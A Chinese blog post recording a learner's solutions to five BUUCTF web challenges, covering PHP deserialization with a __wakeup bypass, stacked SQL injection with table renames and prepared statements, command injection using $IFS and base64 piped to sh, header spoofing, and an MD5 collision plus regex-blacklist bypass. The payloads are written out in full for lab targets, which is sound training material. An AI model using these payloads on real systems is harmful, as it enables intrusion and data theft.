【BUU刷题日记】——第一周

【BUU刷题日记】——第一周

一、[极客大挑战 2019]PHP1

  • 题目说自己有一个备份网站的习惯,所以要了解一下常见的网站源码备份格式及文件名:

    格式:tar、tar.gz、zip、rar

    文件名:web、website、backup、back、www、wwwroot、temp

    排列组合进行尝试之后发现,www.zip文件可以直接下载。

    也有的wp上说可以直接扫描网站目录,但是我用dirsearch没有扫到。

  • 下载后进行php代码审计:

    image-20221113234619747

    class.php:

    <?php
    include 'flag.php';
    
    
    error_reporting(0);
    
    
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    
        function __wakeup(){
            $this->username = 'guest';
        }
    
        function __destruct(){
            if ($this->password != 100) {
                echo "</br>NO!!!hacker!!!</br>";
                echo "You name is: ";
                echo $this->username;echo "</br>";
                echo "You password is: ";
                echo $this->password;echo "</br>";
                die();
            }
            if ($this->username === 'admin') {
                global $flag;
                echo $flag;
            }else{
                echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
                die();
    
                
            }
        }
    }
    ?>
    

    定义了一个name类,说明题目意思让我们进行反序列化利用。看__destruct函数可以知道如果username='admin'并且password=100就能得到flag。但是这两个变量被强制赋值为'nonono'和'yesyes',并且在反序列化调用wakeup()函数时还会复制为'guest'。

    index.php:

    <!DOCTYPE html>
    <head>
      <meta charset="UTF-8">
      <title>I have a cat!</title>
      <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
          <link rel="stylesheet" href="style.css">
    </head>
    <style>
        #login{   
            position: absolute;   
            top: 50%;   
            left:50%;   
            margin: -150px 0 0 -150px;   
            width: 300px;   
            height: 300px;   
        }   
        h4{   
            font-size: 2em;   
            margin: 0.67em 0;   
        }
    </style>
    <body>
    
    
    
    
    
    
    
    <div id="world">
        <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因为每次猫猫都在我键盘上乱跳,所以我有一个良好的备份网站的习惯
        </div>
        <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
        </div>
        <div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
        <?php
        include 'class.php';
        $select = $_GET['select'];
        $res=unserialize(@$select);
        ?>
        </div>
        <div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
    </div>
    <script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
    <script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
    <script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
    <script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
    <script  src="index.js"></script>
    </body>
    </html>
    

    看php部分知道使用select进行传参。

    flag.php

    <?php
    $flag = 'Syc{dog_dog_dog_dog}';
    ?>
    

    没啥用, 应该编码之后得到flag。

  • 利用

    基本payload:

    <?php
    class Name{
    	private $username='admin';
    	private $password = 100;
    }
    $test=new Name();
    echo serialize($test);
    
    ?>
    

    为什么Payload中Name类里不写方法,因为在序列化时只针对变量,写上方法也不会被序列化。

    输出中,因为$username和$password是私有变量,在输出时会产空白符(在一些输出中也可能是乱码),所以需要加上%00,变为:

    O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
    

    同时我们需要绕过反序列化时调用的wakeup()函数(CVE-2016-7124,PHP5<5.6.25,PHP7 < 7.0.10),即当成员属性数目大于实际数目时即可绕过wakeup()函数,所以将序列化后字符串中原本的2,改为3:

    O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
    
  • 执行

    image-20221114115016900

    得到flag。

    总结

    • 网站一般的备份文件名
    • 私有变量序列化后要在变量名前加%00类名%00
    • wake_up函数绕过:让变量数量字段的值大于实际的变量数

二、[强网杯 2019]随便注1

  • 先测试一下是什么类型注入:

    输入1':

    image-20221115231205971

    输入1'#:

    image-20221115231340050

    由此可见是字符型输入,单引号闭合,‘#’注释。

  • 查询字段数:

    1' order by 3#
    
    image-20221115232539103

    然后order by 2返回正常,说明表中有两个字段。

  • 使用联合注入:

    1' union select 1,3#
    

    image-20221115232914945

    对一些关键词进行了规避。

  • 使用堆叠注入

    通过在语句后加分号实现同时执行两条语句:

    1'; show databases;#
    
    image-20221115233332768

    查询表名:

    1';show tables;#
    
    image-20221115235442394

    查询列名:

    1';show columns from 1919810931114514;#
    

    无回显,

    1';show columns from words;#
    
    image-20221123222611190

    不知道两者为啥不一样。网上的wp中提到数据库名使用`进行包围,具体区别:

    • `和'在linux下不区分,在windows下区分
    • `用于对数据库名、表名、列名进行引用;当字段值和mysql保留字相同,则必须使用反引号进行区分
    • '用于对字段值进行应用

    于是尝试:

    1';show columns from `1919810931114514`;#
    
    image-20221124100428260

    看到flag表。

  • 进行利用:

    • 重命名数据库(因为select字段被过滤,所以可以让程序中本来存在的select帮助我们完成查询;因为该语句是在words表中进行查询,所以先将19表现重命名为words,然后将flag字段重命名为id字段):

      1';
      rename table words to word2;
      rename table `1919810931114514` to words;
      alter table words change flag id varchar(50);
      

      image-20221124104649133

      执行成功。

      直接查询表中所有的值:

      1' or 1=1 #
      

      因为语句为select * where id = '1' or 1=1#其中1=1恒为真,所以where的条件恒为真,相当于查询表中所有数据。

      image-20221124104810795

    • 预编译语句

      set @tb = 'student'; //设置表名
      set @sql = concat('select * from',@tb);	//将表名与查询语句连接,设置sql语句
      PREPARE name from @sql; //预定义sql语句
      excute name;	//执行语句
      

    (DEALLOCATE || DROP) PREPARE sql; 删除语句

    
    本题中可以使用concat()将拆开后的select字符串进行连接,从而规避了对select的过滤:
    
    

    1';
    set @sql=concat('se','lect * from 1919810931114514');
    prepare name from @sql;
    excute name;#

    
    ### 总结
    
    - 堆叠注入
    - 预编译绕过,重命名绕过
    - show()查看列名
    
    
    
    

三、[GXYCTF2019]Ping Ping Ping 1

  • 观察题目猜到应该让我们通过ip传参:

    /?ip=127.0.0.1
    

    image-20221116110458700

  • 在命令后再输入一条命令看能不能执行:

    /?ip=127.0.0.1;ls
    

    image-20221116110605985

  • cat一下看看能不能直接查看:

    /?ip=127.0.0.1;cat flag.php
    

    image-20221116110734725

    说明空格被过滤了。

    linux下空格可用这些来替换:<、<>、$IFS

    image-20221116113459918

    url中可以进行替换:%20(space)、%09(tab)

  • 尝试一下

    /?ip=127.0.0.1;cat$IFS$1flag.php
    

    image-20221116113654262

    说明可以使用$IFS$1进行绕过。

  • 查看上级路径信息:

    /?ip=127.0.0.1;cd$IFS$../;ls
    

    image-20221116110839144

  • 查看index.php

    /?ip=127.0.0.1;cat$IFS$1index.php
    

    image-20221116113912487

  • 尝试使用其他方法查看:

    使用拷贝文件到另一个文件看看:

    /?ip=127.0.0.1;cp$IFS$1flag.php$IFS$1test.php
    

    访问失败。

    为了绕过对flag.php关键词的过滤,考虑base64编码:

    /?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw$IFS$1|$IFS$1base64$IFS$1-d$IFS$1|$IFS$1sh
    

    'Y2F0IGZsYWcucGhw'为'cat flag.php'的base64编码格式

    image-20221117113300647

    不要以为没有成功,直接f12查看源码:

    image-20221117113552230

  • 其他方法

    看了题解发现还有其他姿势:

    /?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
    

    因为源代码中使用了变量a,所以可以进行替换,从而规避关键词'flag'

    使用内联执行,直接对执行ls后的所有文件进行cat:

    ?ip=127.0.0.1;cat$IFS$9`ls`
    

    image-20221117114018765

    总结

    • $IFS$1绕过空格过滤
    • base64编码命令并执行
    • 内联执行
    • 变量赋值之后替换原规避字段

四、[极客大挑战 2019]Http1

  • 查看源码

    image-20221124150508421

    访问之后如下:

    image-20221124150529903

    提示我们不是来自'https://Sycsecret.buuoj.cn',据此想到浏览器的referer字段:

  • Referer欺骗

    Referer字段:http请求头中的referer字段主要是标识请求端是通过什么路径向该网站进行访问。

    例如下图中,我们在bing中随便点击一个其他网页,在该请求头中就会标识Referer为www.bing.com

    image-20221124151114220

    referer欺骗:是指我们抓包修改请求头的Referer字段,从而对服务器端进行欺骗。可以用在CSRF中,如果服务器端会验证同源策略,那么攻击者就可以referer欺骗。

  • 利用

    抓包添加Referer字段,并且将User-Agent改为Syclover(因为Referer欺骗之后页面会让你改浏览器,不再赘述):

    image-20221124151507325

    发送:

    image-20221124151705294
  • X-Forwarded-For:

    X-Forwarded-For 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。因此,我们只需要在包中在在加上:X-Forwarded-For: 127.0.0.1

    image-20221124152500911

    总结

    • 考察了对http几个字段的了解
    • referer和x-forwarded-for

五、[安洵杯 2019]easy_web1

  • 观察url

    http://dda91009-f620-4ebb-a060-da2e32761ceb.node4.buuoj.cn:81/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
    

    可见存在一个base64编码,进行两次解码:

    3535352e706e67
    

    16进制转字符串:

    555.png
    

    据此,我们可以知道其传参的编码方式,可以通过img参数访问其他文件。

  • 尝试访问index.php

    现将字符串'index.php'转化成16进制,然后进行两次base64编码:

img=TmprMlpUWTBOalUzT0RKbE56QTJPRGN3&cmd=


![image-20221128110650180](https://raw.githubusercontent.com/CaptainGrun/typora_images/blogs/BUU/image-20221128110650180.png)

源码中出现一堆base64编码,进行解码后:

~~~php
<?php
    error_reporting(E_ALL || ~ E_NOTICE);
    header('content-type:text/html;charset=utf-8');
    $cmd = $_GET['cmd'];
    if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
        header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
    $file = hex2bin(base64_decode(base64_decode($_GET['img'])));

    $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
    if (preg_match("/flag/i", $file)) {
        echo '<img src ="./ctf3.jpeg">';
        die("xixi~ no flag");
    } else {
        $txt = base64_encode(file_get_contents($file));
        echo "<img src='data:image/gif;base64," . $txt . "'></img>";
        echo "<br>";
    }
    echo $cmd;
    echo "<br>";
    if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
        echo("forbid ~");
        echo "<br>";
    } else {
        if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
            echo `$cmd`;
        } else {
            echo ("md5 is funny ~");
        }
    }

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
  • 观察源码

    参数编码部分:

    $file = hex2bin(base64_decode(base64_decode($_GET['img'])));
    $file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
    

    php语句过滤:

    if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
            echo("forbid ~");
            echo "<br>";
        }
    

    md5验证:

    (string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])
    
  • php正则语句绕过

    观察正则语句,可以发现绕过了一些cat,ls等查看的命令,再查看反斜杠部分:|\\|\\\\|。在php中想要过滤反斜杠需要过滤\\\\,因为存在两次解析。首先是php的解析,将\\\\解析成\\,然后正则表达式里再将\\解析为\。

    但是在本题的反斜杠部分|\\|\\\\|中,首先php将其解析为|\|\\|,然后在正则表达式中再将其解析为||\|,所以最后\并没有被过滤,而是过滤了|\。因此可以使用反斜杠绕过:l\s,c\at。

  • md5碰撞

    md5碰撞在php中分为强比较和弱比较

    • 弱比较

      if(md5($A)==md5($B)&&string($A)!=string($B))
      

      数组绕过:$A[]=1,$B[]=2;因为在php中数组没有md5值,所以md5($A)=md5($B)=null

      科学计数法绕过:在php的弱比较中,如果等号两边都是0e开头,那么等号会将其作为科学计数法的形式进行比较(0e123在php中就是0的123次方),因为0的任何次方都是0,因此可以绕过弱等于,下面是一些字符串和其对应的md5值:

      aabg7XSs
      0e087386482136013740957780965295
      
      QNKCDZO
      0e830400451993494058024219903391
      
      s878926199a
      0e545993274517709034328855841020
      
      s155964671a
      0e342768416822451524974117254469
      
    • 强比较

      if(md5($A)===md5($B)&&string($A)!==string($B))
      

      数组绕过:同上

      强碰撞:

      a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
      
      b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
      

      这两串编码的md5值相同,其产生是将两个非常相似的长字符串(16进制)转化成asccii码然后再写入到二进制文件,这两个文件的md5值相同。然后将文件内容使用url编码即可。

  • 利用

    根据上面php正则过滤和md5比较的漏洞可以进行利用:

    image-20230124102407043

    可以看到dir命令没有被过滤,并且执行成功,说明md5比较部分绕过成功。

    下面直接使用cat /flag进行flag的读取,同时需要增加\来过滤规避:

    image-20230124102818852

    总结

    • php正则匹配规则
    • php匹配/符号时会解析两次
    • md5强比较、弱比较

    参考链接:

    https://blog.csdn.net/m0_46436640/article/details/108679641

posted @ 2023-01-24 11:02  CAP_T  阅读(53)  评论(0编辑  收藏  举报